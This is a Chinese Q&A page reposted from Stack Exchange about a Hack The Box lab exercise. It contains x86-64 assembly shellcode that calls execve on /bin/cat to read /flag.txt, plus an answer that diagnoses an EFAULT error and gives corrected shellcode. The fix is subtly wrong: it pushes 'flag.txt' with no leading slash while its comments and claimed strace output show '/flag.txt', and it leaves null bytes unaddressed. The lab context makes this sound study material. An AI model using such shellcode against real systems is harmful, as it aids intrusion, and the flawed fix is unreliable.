You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

x86-64汇编execve使用求助:通过/bin/cat读取/flag.txt

问题:x86-64 Shellcode中execve调用EFAULT错误排查

我正在学习Hack The Box Academy的「汇编语言入门」模块的「Shellcoding Tools」章节,需要生成读取/flag.txt内容的shellcode并通过nc发送到模拟漏洞服务器。我尝试用x86-64汇编编写调用execve执行/bin/cat的代码,先后两次编写的代码均无法正常运行;用strace调试发现,execve调用中/flag.txt参数传递错误,报EFAULT(无效地址)错误,怀疑是空终止问题,求解决办法。

初始代码

global _start

section .text
_start:
        ; execve("/usr/bin/cat", ["/usr/bin/cat", "/flag.txt"], NULL)

        xor rax, rax
        push rax
        mov rbx, "t"; t
        push rbx
        mov rbx, "/flag.tx"; /flag.tx
        push rbx
        mov rbx, rsp
        push rax
        xor rbx, rbx
        mov rbx, "/cat"; /cat
        push rbx
        mov rbx, "/usr/bin"; /usr/bin
        push rbx
        mov rsi, rsp
        xor rbx, rbx
        mov rbx, "/cat"; /cat
        push rbx
        mov rbx, "/usr/bin"; /usr/bin
        push rbx
        mov rsi, rsp

        mov rax, 59
        mov rdx, 0
        syscall

修改后代码

_start:
        xor rax, rax
        push rax

        mov rsi, "flag.txt"
        push rsi
        mov rsi, rsp

        push rax

        mov rdi, "/bin/cat"
        push rdi
        mov rdi, rsp

        mov rdx, rax

        mov rax, 59
        syscall

strace输出

execve("/bin/cat", [0x7478742e67616c66], NULL) = -1 EFAULT (Bad address)

问题根源

你的两段代码都存在两个核心问题:

  • 字符串未正确空终止:x86-64的execve要求传入的路径和参数数组中的每个字符串都必须以\x00(空字节)结尾,否则内核无法正确识别字符串边界,会读取到无效内存地址触发EFAULT。
  • 参数数组构造错误:execve的第二个参数rsi需要是一个指针数组,格式为[程序路径, 参数1, NULL],你的代码没有正确构造这个数组,而是直接把字符串指针赋值给了rsi。

修复后的代码示例

global _start

section .text
_start:
    ; 构造execve("/bin/cat", ["/bin/cat", "/flag.txt"], NULL)
    xor rax, rax        ; rax清零,用于空字节
    
    ; 构造/flag.txt字符串(带空终止)
    push rax            ; 先压入空字节作为终止符
    mov rbx, "flag.txt"
    push rbx
    mov r12, rsp        ; 保存/flag.txt的指针到r12
    
    ; 构造/bin/cat字符串(带空终止)
    push rax
    mov rbx, "/bin/cat"
    push rbx
    mov rdi, rsp        ; rdi = /bin/cat的指针(execve第一个参数)
    
    ; 构造参数数组:[rdi, r12, NULL]
    push rax            ; 数组末尾的NULL
    push r12            ; 第二个元素:/flag.txt
    push rdi            ; 第一个元素:/bin/cat
    mov rsi, rsp        ; rsi = 参数数组指针(execve第二个参数)
    
    mov rdx, rax        ; rdx = NULL(execve第三个参数)
    mov rax, 59         ; execve的系统调用号(x86-64)
    syscall

代码说明

  • 所有字符串都通过先压入空字节rax(已清零)来保证空终止,内核能正确识别字符串长度。
  • 参数数组严格按照[程序路径, 参数, NULL]的格式构造,每个元素都是对应字符串的指针,最后以NULL结尾。
  • 使用r12临时保存/flag.txt的指针,避免后续操作覆盖栈上的指针。

验证方法

编译并提取shellcode后,用strace调试应该会看到正确的execve调用:

execve("/bin/cat", ["/bin/cat", "/flag.txt"], NULL) = 0

内容的提问来源于stack exchange,提问作者faefas

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.18 13:27:07